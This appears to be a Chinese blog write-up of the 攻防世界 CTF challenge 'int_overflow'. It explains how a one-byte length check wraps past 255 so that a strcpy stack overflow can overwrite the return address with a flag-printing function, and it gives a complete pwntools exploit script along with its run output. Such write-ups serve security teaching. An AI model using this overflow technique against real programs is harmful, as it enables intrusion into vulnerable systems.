美文网首页
攻防世界 int_overflow wp

攻防世界 int_overflow wp

作者: 111p1kk | 来源:发表于2019-05-28 20:55 被阅读0次

0x01寻找漏洞

checksec
kk@ubuntu:~/Desktop/black/GFSJ/int_overflow$ checksec int_overflow 
[*] '/home/kk/Desktop/black/GFSJ/int_overflow/int_overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ida分析

strcpy处有栈溢出。v3为无符号整型,表示s(即你输入的passwd)的长度,可能存在整数溢出

0x02利用思路

要想利用到strcpy这一步,要么你输入的passwd长度>3 && <=8,要么使passwd的长度过长,而v3最大可以存的长度为255,所以直接在v3处造成整数溢出进入else,整数溢出需要255,返回地址需要4字节,所以passwd长度达到259即可
第一种passwd太短,无法利用进行改写程序流,我们使用第二种思路。

程序中存在,可以将返回地址指向what_is_this()


cat flag

0x03攻击

exp如下
#!usr/bin/python

from pwn import *
#context.log_level = "debug"

io = remote("111.198.29.45", 53168)
# io = process("./int_overflow")

cat_flag_addr = 0x0804868B

io.sendlineafter("Your choice:", "1")

io.sendlineafter("your username:", "kk")

io.recvuntil("your passwd:")
payload = "a" * 0x14 + "aaaa" + p32(cat_flag_addr)
payload = payload.ljust( 259,"a")

io.sendline(payload)

io.recv()

io.interactive()
kk@ubuntu:~/Desktop/black/GFSJ/int_overflow$ python exp.py 
[+] Opening connection to 111.198.29.45 on port 53168: Done
[*] Switching to interactive mode
Success
cyberpeace{自己试试口喜口喜}
[*] Got EOF while reading in interactive
$  

相关文章

网友评论

      本文标题:攻防世界 int_overflow wp

      本文链接:https://www.haomeiwen.com/subject/cxpjtctx.html